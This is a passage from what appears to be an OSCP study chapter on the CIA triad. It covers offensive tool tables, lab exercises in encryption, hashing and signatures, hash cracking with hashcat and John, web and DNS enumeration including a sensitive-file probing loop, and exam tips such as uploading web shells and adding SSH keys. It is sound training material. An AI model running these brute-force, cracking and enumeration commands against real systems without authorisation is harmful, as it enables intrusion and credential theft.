smbclient SMB client smbclient //target/share -U user%pass ⭐⭐⭐⭐
snmpwalk SNMP enumeration snmpwalk -v2c -c public target ⭐⭐⭐
openssl Encryption/decryption openssl enc -aes-256-cbc ... ⭐⭐⭐
medusa Credential brute-forcing medusa -h target -u user -P wordlist.txt -M ssh ⭐⭐⭐
ncrack Network authentication cracking `ncrack ncrack -p 22 -U users.txt -P pass.txt target

Integrity Tools

Tool Purpose Command Example OSCP Frequency
sqlmap SQL injection automation sqlmap -u "http://target?id=1" --batch ⭐⭐⭐⭐
hashcat Hash cracking hashcat -m 0 hash.txt wordlist.txt ⭐⭐⭐⭐
john Hash cracking john hash.txt ⭐⭐⭐⭐
hashid Hash type identification hashid "5f4dcc3b5aa765d61d8327deb882cf99" ⭐⭐⭐
openssl Digital signatures openssl dgst -sha256 -sign key.pem file ⭐⭐⭐
Burp Suite Request modification GUI-based ⭐⭐⭐⭐⭐
commix Command injection commix -u "http://target?id=1" ⭐⭐
wfuzz Web fuzzing wfuzz -c -z file,wordlist.txt http://target/FUZZ ⭐⭐⭐
AIDE File integrity monitoring aide --check ⭐⭐

Availability Tools

Tool Purpose Command Example OSCP Frequency
nmap Service availability check nmap -sV target ⭐⭐⭐⭐⭐
netcat Port connectivity test nc -zv target 80 ⭐⭐⭐⭐⭐
curl HTTP availability test curl -I http://target ⭐⭐⭐⭐⭐
ab Apache Bench (load testing) ab -n 1000 -c 100 http://target/ ⭐⭐
hping3 Network packet crafting hping3 -S target -p 80 ⭐⭐
slowloris Slow HTTP attack tool perl slowloris.pl target ⭐

Note: ⭐ ratings indicate how frequently the tool appears in OSCP exam scenarios. Focus on ⭐⭐⭐⭐ and ⭐⭐⭐⭐⭐ tools.


Lab Exercises

Exercise 1: Encryption and Decryption with OpenSSL

Objective: Understand symmetric encryption for confidentiality.

# Step 1: Create a test file
echo "This is a secret message for OSCP lab exercise." > secret.txt

# Step 2: Encrypt with AES-256-CBC using a password
openssl enc -aes-256-cbc -salt -pbkdf2 -in secret.txt -out secret.txt.enc -pass pass:LabP@ssw0rd!

# Step 3: Verify the encrypted file is not human-readable
cat secret.txt.enc
xxd secret.txt.enc | head -5

# Step 4: Decrypt the file
openssl enc -aes-256-cbc -d -pbkdf2 -in secret.txt.enc -out recovered.txt -pass pass:LabP@ssw0rd!

# Step 5: Verify the decrypted content matches the original
diff secret.txt recovered.txt
echo "Exit code: $?"  # Should be 0 (identical)

# Step 6: Try to decrypt with wrong password (should fail)
openssl enc -aes-256-cbc -d -pbkdf2 -in secret.txt.enc -out wrong.txt -pass pass:WrongPassword 2>&1

# Step 7: Encrypt with a key file (more secure)
openssl rand -out key.bin 32
openssl rand -out iv.bin 16
openssl enc -aes-256-cbc -in secret.txt -out secret_key.txt.enc -K $(xxd -p -c 64 key.bin) -iv $(xxd -p -c 32 iv.bin)
openssl enc -aes-256-cbc -d -in secret_key.txt.enc -out recovered_key.txt -K $(xxd -p -c 64 key.bin) -iv $(xxd -p -c 32 iv.bin)
diff secret.txt recovered_key.txt

Expected Outcome: You can encrypt and decrypt files. Wrong passwords produce garbage or errors. Key-file encryption is more secure than password-based encryption.


Exercise 2: File Integrity Verification with Hashing

Objective: Understand how hashing ensures integrity.

# Step 1: Create test files
echo "Original content" > file1.txt
echo "Modified content" > file2.txt

# Step 2: Generate SHA-256 hashes
sha256sum file1.txt file2.txt

# Step 3: Save the hash for later verification
sha256sum file1.txt > file1.sha256
cat file1.sha256

# Step 4: Verify the file hasn't changed
sha256sum -c file1.sha256
# Output: file1.txt: OK

# Step 5: Modify the file and verify again
echo "Tampered content" >> file1.txt
sha256sum -c file1.sha256
# Output: file1.txt: FAILED

# Step 6: Compare different hash algorithms
md5sum file2.txt
sha1sum file2.txt
sha256sum file2.txt
sha512sum file2.txt

# Step 7: Demonstrate hash collision resistance
echo -n "Hello" | sha256sum
echo -n "hello" | sha256sum
echo -n "Hello " | sha256sum
# Each produces a completely different hash

# Step 8: Create a comprehensive integrity baseline
find /etc -type f -exec sha256sum {} \; > /tmp/etc_baseline.sha256 2>/dev/null
wc -l /tmp/etc_baseline.sha256

Expected Outcome: You can generate and verify file hashes. Modified files fail integrity checks. Different algorithms produce different hash lengths and values.


Exercise 3: Digital Signatures

Objective: Understand how digital signatures ensure integrity and authenticity.

# Step 1: Generate a key pair
openssl genrsa -out lab_private.pem 2048
openssl rsa -in lab_private.pem -pubout -out lab_public.pem

# Step 2: Create a message
echo "This message is signed by the lab exercise." > message.txt

# Step 3: Sign the message
openssl dgst -sha256 -sign lab_private.pem -out message.sig message.txt

# Step 4: Verify the signature
openssl dgst -sha256 -verify lab_public.pem -signature message.sig message.txt
# Output: Verified OK

# Step 5: Tamper with the message
echo "Tampered!" >> message.txt
openssl dgst -sha256 -verify lab_public.pem -signature message.sig message.txt
# Output: Verification Failure

# Step 6: Restore original and verify again
echo "This message is signed by the lab exercise." > message.txt
openssl dgst -sha256 -verify lab_public.pem -signature message.sig message.txt
# Output: Verified OK

# Step 7: Try to verify with wrong public key
openssl genrsa -out wrong_private.pem 2048
openssl rsa -in wrong_private.pem -pubout -out wrong_public.pem
openssl dgst -sha256 -verify wrong_public.pem -signature message.sig message.txt
# Output: Verification Failure

Expected Outcome: Signatures verify both integrity (message unchanged) and authenticity (signed by correct key). Tampering or wrong keys cause verification failure.


Exercise 4: Hash Cracking Practice

Objective: Practice cracking password hashes — a common OSCP task.

# Step 1: Generate test hashes
echo -n "password" | md5sum
echo -n "password" | sha1sum
echo -n "password" | sha256sum

# Step 2: Create a hash file for cracking
echo "5f4dcc3b5aa765d61d8327deb882cf99" > md5_hash.txt
echo "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" > sha1_hash.txt

# Step 3: Identify hash type
hashid "5f4dcc3b5aa765d61d8327deb882cf99"

# Step 4: Crack with hashcat (MD5)
hashcat -m 0 md5_hash.txt /usr/share/wordlists/rockyou.txt --force

# Step 5: Crack with John the Ripper
john --format=raw-md5 md5_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show md5_hash.txt

# Step 6: Crack Linux password hash (from /etc/shadow)
# Format: $id$salt$hash
echo 'testuser:$6$rounds=656000$saltsalt$hashhashhash' > shadow_hash.txt
john --format=sha512crypt shadow_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Step 7: Practice with rule-based attacks
hashcat -m 0 md5_hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Expected Outcome: You can identify hash types and crack them using hashcat and John the Ripper. Rule-based attacks increase success rates.


Exercise 5: Information Disclosure Enumeration

Objective: Practice finding information disclosure vulnerabilities.

# Step 1: Banner grabbing
nmap -sV -sC --script=banner-grab,http-headers,http-title -p 80,443,8080,22,21,25,110,143,3306,5432,8443 target.com

# Step 2: Directory brute-forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,conf,bak,old,sql,zip -t 50 -o gobuster_results.txt

# Step 3: Check for sensitive files
for file in .env .git/config .htaccess .htpasswd wp-config.php backup.sql database.sql config.php; do
    response=$(curl -s -o /dev/null -w "%{http_code}" "http://target.com/$file")
    if [ "$response" != "404" ] && [ "$response" != "000" ]; then
        echo "FOUND: $file (HTTP $response)"
    fi
done

# Step 4: DNS enumeration
dig axfr @target.com target.com
dig txt target.com
dig ns target.com
dig mx target.com

# Step 5: SMB enumeration
enum4linux -a target.com

# Step 6: HTTP header analysis
curl -I http://target.com
# Look for: Server, X-Powered-By, X-AspNet-Version, X-Debug-Token

# Step 7: robots.txt and sitemap.xml
curl -s http://target.com/robots.txt
curl -s http://target.com/sitemap.xml

Expected Outcome: You can systematically enumerate information disclosure vectors. Found information aids further attacks.


Exercise 6: Service Availability Testing

Objective: Understand how to test and monitor service availability.

# Step 1: Basic connectivity tests
nc -zv target.com 22
nc -zv target.com 80
nc -zv target.com 443

# Step 2: HTTP availability with timing
curl -w "\nDNS: %{time_namelookup}s\nConnect: %{time_connect}s\nTLS Handshake: %{time_appconnect}s\nFirst Byte: %{time_starttransfer}s\nTotal: %{time_total}s\n" -o /dev/null -s http://target.com

# Step 3: Load testing (gentle — lab only)
ab -n 100 -c 10 http://target.com/

# Step 4: Monitor service during load
while true; do
    curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" http://target.com
    sleep 1
done &

# Step 5: Check system resources
top -bn1 | head -10
free -h
df -h
ss -s

# Step 6: Test service recovery
# Stop a service and check if it recovers
sudo systemctl stop apache2
nc -zv localhost 80  # Should fail
sudo systemctl start apache2
nc -zv localhost 80  # Should succeed

Expected Outcome: You can test service availability, measure response times, and monitor system resources.


Common Misconceptions

Misconception 1: “CIA is only about network security”

Reality: CIA applies to all security domains — physical security, application security, cloud security, mobile security, and more. A locked server room protects confidentiality. A backup generator protects availability. A change management process protects integrity.

Misconception 2: “Encryption solves all confidentiality problems”

Reality: Encryption protects data at rest and in transit, but not data in use. Once decrypted, data is vulnerable. Encryption also doesn’t protect against:

  • Social engineering
  • Physical access to decrypted systems
  • Insider threats with legitimate access
  • Side-channel attacks (timing, power analysis)

Misconception 3: “Hashing is encryption”

Reality: Hashing is one-way — you cannot decrypt a hash. Encryption is two-way — you can encrypt and decrypt. Hashing ensures integrity; encryption ensures confidentiality. They serve different purposes.

Encryption:  Plaintext → [Encrypt] → Ciphertext → [Decrypt] → Plaintext  (Reversible)
Hashing:     Data → [Hash] → Hash Value  (NOT Reversible)

Misconception 4: “Availability is not important for penetration testers”

Reality: While OSCP doesn’t directly score availability attacks, understanding availability helps you:

  • Identify attack surfaces (services that can be disrupted)
  • Understand the impact of your attacks
  • Write better reports (business impact assessment)
  • Recognize when an attack could cause collateral damage

Misconception 5: “The CIA triad is mutually exclusive”

Reality: Many controls address multiple pillars simultaneously:

  • TLS protects confidentiality (encryption) AND integrity (MAC/HMAC)
  • Access controls protect confidentiality (who can read) AND integrity (who can write)
  • Backups protect availability (recovery) AND integrity (known good state)

Misconception 6: “More security controls always mean better security”

Reality: Security controls can conflict:

  • More encryption → more processing overhead → reduced availability
  • More integrity checks → more latency → reduced availability
  • More redundancy → more attack surface → reduced confidentiality
  • Stronger access controls → more complexity → more misconfiguration risk

The goal is balanced security, not maximum security.


Exam Tips

  1. Every box is a CIA violation: When you read user.txt, you’re violating confidentiality. When you create a user, you’re violating integrity. Frame your thinking this way.

  2. Enumeration is key to confidentiality attacks: The more information you gather, the more attack vectors you find. Spend time on enumeration — it pays off.

  3. Document everything: Your report should clearly show how you violated each pillar. Screenshots of sensitive files prove confidentiality breaches. Screenshots of modified files prove integrity breaches.

  4. Don’t rush to exploit: Understanding the CIA implications of each service helps you prioritize targets. A misconfigured database (confidentiality) is often easier to exploit than a hardened web server.

Confidentiality-Specific Tips

Tip Description
Check default credentials first Many OSCP boxes have default or weak credentials
Look for sensitive files .env, .git, config files, backup files
Enumerate all services Each service is a potential confidentiality breach
Check for information leakage Error messages, HTTP headers, directory listings
Try common paths /admin, /backup, /config, /debug

Integrity-Specific Tips

Tip Description
Test for SQL injection One of the most common integrity violations
Check file upload functionality Upload web shells for persistent access
Look for command injection OS command injection leads to full compromise
Verify hash values When dealing with password hashes, identify the type first
Modify system state Create users, add SSH keys, modify configs

Availability-Specific Tips

Tip Description
Don’t perform DoS attacks They can crash the lab and violate exam rules
Note availability impacts Mention in your report if an attack could cause downtime
Test service resilience Understanding recovery helps with post-exploitation
Monitor resource usage High resource usage can indicate vulnerabilities

Report Writing Tips

When writing your OSCP report, structure CIA violations clearly:

## Confidentiality Violation

**Finding**: Sensitive file exposure via misconfigured web server
**Impact**: Unauthorized access to database credentials
**Evidence**: 
- Screenshot of accessible .env file
- Extracted database credentials
**Remediation**: Remove sensitive files from web root, implement proper access controls

## Integrity Violation

**Finding**: SQL injection allowing data modification
**Impact**: Unauthorized modification of user roles and data
**Evidence**:
- SQL injection proof of concept
- Screenshot of modified database records
**Remediation**: Use parameterized queries, implement input validation

## Availability Impact

**Finding**: Application vulnerable to resource exhaustion
**Impact**: Potential service disruption under load
**Evidence**:
- Performance degradation under concurrent requests
**Remediation**: Implement rate limiting, optimize database queries

Cross-References

Topic Relationship to CIA
AAA Framework Authentication, Authorization, Accounting — implements CIA controls
Cryptography Encryption (Confidentiality), Hashing (Integrity), Digital Signatures (Integrity)
Network Security Firewalls, IDS/IPS, segmentation — protect all three pillars
Web Application Security OWASP Top 10 — primarily confidentiality and integrity violations
Active Directory Security Kerberos, LDAP, Group Policy — access control for CIA
Linux Privilege Escalation Violates confidentiality (access to sensitive files) and integrity (system modification)
Windows Privilege Escalation Violates confidentiality (access to SAM, LSASS) and integrity (system modification)
Post-Exploitation Credential dumping (confidentiality), persistence (integrity), pivoting (all three)
Metasploit Framework Exploitation framework — demonstrates CIA violations
Nmap Enumeration tool — identifies confidentiality weaknesses

External References

Resource Description
NIST SP 800-33 NIST guide to CIA triad
OWASP Top 10 Web application security risks
MITRE ATT&CK Attack framework mapping to CIA violations
CWE Top 25 Common weaknesses affecting CIA
RFC 5270 Internet Security Glossary (CIA definitions)

CIA in the OSCP Exam Context

OSCP Exam Flow → CIA Violation Progression:

1. Reconnaissance (Nmap, enumeration)
   └── Identifies confidentiality weaknesses

2. Exploitation (Metasploit, manual exploits)
   └── Violates confidentiality (gains unauthorized access)

3. Post-Exploitation (privilege escalation, pivoting)
   └── Violates integrity (modifies system state)

4. Proof Collection (user.txt, root.txt)
   └── Demonstrates confidentiality violation

5. Report Writing
   └── Documents all CIA violations with evidence

Summary

The CIA Triad is the foundation of all information security. As an OSCP candidate, you must understand:

  1. Confidentiality is your primary scoring mechanism — reading user.txt and root.txt proves unauthorized access
  2. Integrity violations demonstrate your ability to modify systems — creating users, adding SSH keys, injecting code
  3. Availability understanding helps you assess impact and write better reports — but don’t perform DoS attacks in the exam

Every attack you perform violates at least one pillar of the CIA triad. Understanding this framework helps you think like both an attacker and a defender, making you a more effective penetration tester.

Final Thought: The best penetration testers don’t just find vulnerabilities — they understand the business impact of those vulnerabilities through the lens of the CIA triad. A confidentiality breach might expose customer data. An integrity breach might corrupt financial records. An availability breach might halt operations. Your report should communicate these impacts clearly.


Last Updated: 2026-09-01 | OSCP Chapter 01 - Introduction to CyberSecurity